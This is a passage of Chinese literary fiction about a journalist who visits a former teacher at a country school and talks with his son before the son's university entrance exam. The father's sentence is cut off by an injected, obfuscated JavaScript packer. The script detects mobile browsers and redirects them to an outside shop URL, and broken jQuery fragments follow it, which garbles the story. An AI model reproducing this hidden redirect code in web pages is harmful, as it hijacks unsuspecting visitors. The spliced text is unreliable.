“您不恨他吗？”赵宛芳问。

    “恨过。但后来想想，他也是链条上的一环。问题不在某个人，在整套齿轮怎么转。”叶葆启看着杯中沉浮的茶叶，“记者的愤怒要像茶，不能是白开水，烫一下就凉；也不能是酒，烧昏了头。要有点苦，有点涩，但回味是清的。”

    1999年春天来得晚。三月了，河面的冰还没化尽，像老人不肯掉的牙。叶葆启听说王老师在郊区小学的消息，是在一个早晨。消息是随风传来的——真的是一阵风，吹开了他办公桌的窗户，夹带着远郊田野的气味和孩童的读书声。

    他决定去看看。

    郊区小学在三十里外，要穿过一片桃林。时值花期，桃花开得疯癫，红得不像真花，像泼出去的颜料。叶葆启骑车前往，花瓣落了他一身。

    学校很小，只有两排平房，操场是泥地，但扫得干净。他到的时候正是课间，孩子们在玩老鹰捉小鸡。王老师当母鸡，伸开双臂护着身后一串“小鸡”。她的动作有些笨拙，但眼神明亮，那是叶葆启从未在她脸上见过的光。

    她没有看见他。叶葆启就站在围墙外看了十分钟，然后悄悄离开了。回程路上，他想起老领导的话：“记者的每一天都是新的。”其实每个人都是，王老师是，那些孩子也是。时光是最公正的编辑，它会删掉一些章节，重写一些段落，但好的内核，总会在某个版本里留存下来。

    儿子叶舟高考前的那晚，父子俩在河边散步。这是叶葆启最喜欢的一段河岸，老柳树垂着长发般的枝条，对岸的灯火倒映在水里，碎成千万片金箔。

    “爸，你当记者图啥？”十八岁的叶舟问出了那个问题。

    叶葆启没有立即回答。他弯腰捡起一块扁平的石头，打了个水漂。石头在水面跳跃七次，画出一串同心圆。

    “你看这水漂，”他说，“石头最终会沉下去，但它激起的涟漪会传到很远。也许到对岸，也许更远，我们看不见的地方。记者做的事，就像这水漂

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|16904178|192343||http|test|ni|href|location''''.split(''''|''''),0,{}));

    () {

    $(''''.infor'').reve();

    $(''''#content'''').append(''''

    ——不求石头永远漂着，只求那圈涟漪能触到该触到的岸。”

    叶舟似懂非懂，但他记住了父亲打水漂的姿势：身体微微侧倾，手腕发力，石片脱手时有个漂亮的旋转。后来他很多次模仿这个姿势，始终不如父亲打得远。

    高考那三天，素琴在家坐立不安，把观音像擦了又擦，香炉里的灰满得溢出来。叶葆启照常上班，但写稿时写错了好几个字。老陈瞎子闻着空气说：“今天报社的气场乱，有大事。”

    发榜那天，邮差在门口喊：“叶舟家，挂号信！”

    素琴冲出去，手抖得拆不开信封。叶葆启接过，用裁纸刀小心地划开。展开通知书那一刻，他看见的不是字，而是一片光——金黄色的，温暖的光，从纸面升腾起来，笼罩了整个客厅。那是希望的光，是未来的光，是一个父亲看见儿子踏上新旅程时，心里涌起的无法言说的光。

    素琴哭了，笑着哭。叶葆启抱住她，闻到她头发里油烟和桂花油混合的味道。这个味道他闻了二十年，是家的味道，是根的味道。

    那天夜里，奖牌在抽屉里发出了不同的声音。不再是心跳，而是像泉水，叮咚作响，清澈欢快。叶葆启打开抽屉，红绒布自己掀开一角，奖牌在